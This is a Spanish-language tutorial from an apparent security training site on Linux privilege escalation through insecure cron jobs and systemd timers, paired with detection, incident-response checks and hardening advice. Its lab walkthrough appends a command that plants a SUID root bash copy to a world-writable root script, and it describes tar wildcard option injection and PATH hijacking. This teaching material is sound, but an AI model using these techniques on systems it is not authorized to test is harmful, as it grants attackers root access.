Tareas cron inseguras: cómo una tarea programada lleva a root y cómo protegerla

Los servidores hacen muchas tareas solos: copias de seguridad cada noche, limpieza de archivos temporales cada hora, rotación de registros, sincronizaciones. En Linux, el encargado de ejecutar esas tareas a su hora es cron. Y como muchas de esas tareas necesitan permisos de administrador, cron las ejecuta como root.

Eso convierte a cron en un objetivo excelente para escalar privilegios: si un usuario sin privilegios puede influir en lo que root ejecuta de forma programada (modificando el script, engañando a su PATH o aprovechando un comodín), solo tiene que esperar unos minutos para que root ejecute su código.

En esta lección vas a ver cómo funciona cron, qué configuraciones son peligrosas, cómo se descubren las tareas (incluso las que no ves en los archivos), cómo se explotan en un laboratorio autorizado y cómo configurarlas de forma segura.

Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Escalar privilegios en un sistema ajeno sin permiso es un delito.

Qué es cron y cómo se lee una tarea#

Cron es un servicio que lee unas tablas de tareas (crontabs) y ejecuta cada comando cuando llega su hora. Cada línea tiene cinco campos de tiempo, en el archivo del sistema un campo con el usuario, y el comando:

# min  hora  día  mes  día_semana  usuario  comando
*/5    *     *    *    *           root     /opt/scripts/limpieza.sh
0      3     *    *    *           root     tar -czf /backup/web.tgz -C /var/www/html *

La primera línea ejecuta un script cada 5 minutos como root. La segunda hace una copia de la web cada día a las 3:00.

Las tareas se definen en varios sitios: /etc/crontab, los archivos de /etc/cron.d/, las carpetas /etc/cron.hourly, cron.daily, cron.weekly y cron.monthly, y el crontab propio de cada usuario (crontab -l).

Por qué es peligroso#

Root ejecuta lo que indica la tarea sin preguntar. Si un usuario sin privilegios puede cambiar qué se ejecuta, la tarea trabaja para él. Las situaciones típicas son:

Cómo se descubren las tareas#

Revisar los archivos de cron#

En un laboratorio, una vez dentro de la máquina:

cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
crontab -l

Para cada tarea que ejecute root, revisa los permisos del script y de la carpeta donde está:

ls -l /opt/scripts/limpieza.sh
ls -ld /opt/scripts

Descubrir tareas ocultas con pspy#

A veces no puedes leer los crontabs de otros usuarios, pero las tareas siguen ejecutándose. pspy es una herramienta que observa los procesos que se crean en el sistema sin necesitar privilegios, así que muestra los comandos que cron lanza aunque no puedas ver su configuración:

./pspy64

2026/11/05 14:05:01 CMD: UID=0  PID=2841 | /bin/sh -c /usr/local/bin/sync_reportes.sh
2026/11/05 14:10:01 CMD: UID=0  PID=2903 | /bin/sh -c /usr/local/bin/sync_reportes.sh

UID=0 indica que el comando lo ejecuta root, y la repetición cada cinco minutos delata una tarea programada.

Los timers de systemd#

En sistemas modernos, muchas tareas programadas no usan cron sino timers de systemd, que funcionan igual a efectos de seguridad:

systemctl list-timers --all

Cada timer activa un servicio; revisa el archivo del servicio para ver qué ejecuta y con qué permisos.

Explotación paso a paso en un laboratorio#

Paso 1: localizar la tarea#

En un laboratorio autorizado, /etc/crontab muestra:

*/2 * * * * root /opt/scripts/limpieza.sh

Paso 2: comprobar los permisos#

ls -l /opt/scripts/limpieza.sh
-rwxrwxrwx 1 root root 120 /opt/scripts/limpieza.sh

El script es de root, pero cualquiera puede escribir en él (rwxrwxrwx). Es el error más común.

Paso 3: añadir un comando#

Añade una línea que, cuando root ejecute el script, cree una copia de bash con el bit SUID:

echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/limpieza.sh

Paso 4: esperar y usarlo#

La tarea se ejecuta cada dos minutos. Tras esperar:

ls -l /tmp/rootbash
/tmp/rootbash -p
id

El resultado incluye euid=0(root): ya actúas como root.

El caso del comodín en tar#

La segunda tarea del ejemplo inicial hace tar ... * dentro de /var/www/html. El comodín * lo expande la shell en la lista de archivos de la carpeta, y tar interpreta como opciones los nombres que empiezan por guiones. Si puedes crear archivos en esa carpeta, puedes crear dos con nombres que tar entienda como sus opciones --checkpoint=1 y --checkpoint-action=exec=..., que le hacen ejecutar un comando durante la copia. En el laboratorio EL COMODÍN practicarás exactamente esta técnica.

El caso del PATH#

Si /etc/crontab define un PATH que empieza por una carpeta escribible y la tarea llama a un comando sin ruta absoluta (por ejemplo backup en lugar de /usr/local/bin/backup), basta con crear un programa llamado backup en esa carpeta para que root lo ejecute.

Cómo revisar un script que ejecuta root#

Que el script no sea escribible no significa que sea seguro. Cuando encuentres uno que root ejecuta, léelo entero y busca estas señales:

Un detalle importante sobre los enlaces simbólicos: si un script de root escribe en /tmp/informe.txt y un usuario crea antes ese nombre como enlace a /etc/passwd, root sobrescribirá /etc/passwd. Por eso los scripts privilegiados deben crear sus archivos temporales con herramientas seguras como mktemp.

Cron como mecanismo de persistencia#

Cron no solo sirve para escalar: también es uno de los métodos favoritos de los atacantes para mantener el acceso. Una tarea que cada pocos minutos abre una conexión hacia el atacante le devuelve el control aunque la víctima cierre la sesión o reinicie el servicio vulnerado.

Por eso, en una respuesta a incidentes, revisar las tareas programadas es obligatorio:

# Tareas de todos los usuarios (requiere root)
for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u "$u" 2>/dev/null | sed "s/^/$u: /"; done

# Archivos de cron modificados en los últimos 7 días
find /etc/cron* /var/spool/cron -type f -mtime -7 -ls 2>/dev/null

Desconfía de tareas que descargan contenido de internet (curl, wget), que abren conexiones de red o que ejecutan archivos desde /tmp o /dev/shm. Compara siempre con una copia conocida de la configuración: una tarea que nadie recuerda haber creado es motivo suficiente para investigar.

Qué puede lograr un atacante#

Cómo se corrige#

Permisos estrictos en scripts y carpetas#

Todo lo que root ejecuta debe ser propiedad de root y no escribible por nadie más, incluida la carpeta que lo contiene:

sudo chown root:root /opt/scripts /opt/scripts/limpieza.sh
sudo chmod 755 /opt/scripts
sudo chmod 700 /opt/scripts/limpieza.sh

Rutas absolutas y PATH seguro#

Usa siempre rutas completas en las tareas y en los scripts (/usr/bin/tar, no tar) y define un PATH que solo incluya carpetas del sistema:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Evitar comodines#

En lugar de *, indica la carpeta y separa las opciones de los nombres con --, o deja que el propio programa recorra el directorio:

# Peligroso
cd /var/www/html && tar -czf /backup/web.tgz *

# Seguro: tar recorre la carpeta él mismo
tar -czf /backup/web.tgz -C /var/www html

Mínimo privilegio#

Muchas tareas no necesitan root. Ejecútalas como un usuario de servicio con solo los permisos necesarios, en su crontab propio o con User= en un servicio de systemd.

Revisar y vigilar#

• Revisa periódicamente todos los crontabs y timers, igual que lo haría un atacante.
• Herramientas de integridad (AIDE) o reglas de auditd pueden alertar cuando cambia un script que ejecuta root.

Errores comunes al defenderse#

• Proteger el script pero no la carpeta. Si la carpeta es escribible, el script se puede sustituir.
• Scripts que llaman a otros scripts. Un script seguro que ejecuta otro escribible es igual de vulnerable.
• Comodines «solo para copias de seguridad». El caso de tar es uno de los más explotados.
• Olvidar los timers de systemd. No toda tarea programada está en cron.
• Ejecutar todo como root por comodidad. Multiplica el impacto de cualquier error de permisos.

Preguntas frecuentes#

¿Cómo sé cada cuánto se ejecuta una tarea?#

Por sus cinco primeros campos. */5 * * * * es cada cinco minutos; 0 3 * * * es cada día a las 3:00. Herramientas como pspy permiten verlo en directo.

¿Por qué pspy ve tareas que yo no puedo leer?#

Porque observa los procesos que se crean en el sistema, y la lista de procesos es visible para todos los usuarios en la mayoría de configuraciones. No necesita leer los crontabs.

¿Qué tiene de peligroso el comodín en tar?#

Que los nombres de archivo que empiezan por guiones se convierten en opciones de tar al expandirse el comodín, y algunas de esas opciones ejecutan comandos.

¿Los timers de systemd son más seguros que cron?#

Ofrecen más control (usuario, aislamiento, registros), pero tienen los mismos riesgos si el servicio ejecuta scripts que otros pueden modificar.

¿Dónde practico esto?#

En los laboratorios de whoami-labs enlazados al final de esta lección, que incluyen scripts escribibles, el comodín de tar y cadenas de tareas programadas.

Resumen#

• Cron ejecuta tareas programadas, muchas como root; si un usuario puede influir en ellas, root ejecuta su código.
• Las configuraciones peligrosas son scripts o carpetas escribibles, PATH inseguro, comandos sin ruta absoluta y comodines.
• Se descubren revisando /etc/crontab, /etc/cron.d, los timers de systemd y, para las ocultas, pspy.
• Se corrige con permisos estrictos en scripts y carpetas, rutas absolutas, sin comodines, mínimo privilegio y vigilancia.

Fuentes y lecturas recomendadas#

• Página de manual de crontab(5)
• GTFOBins: tar
• pspy en GitHub
• MITRE ATT&CK T1053.003: Scheduled Task/Job: Cron
• Documentación de systemd.timer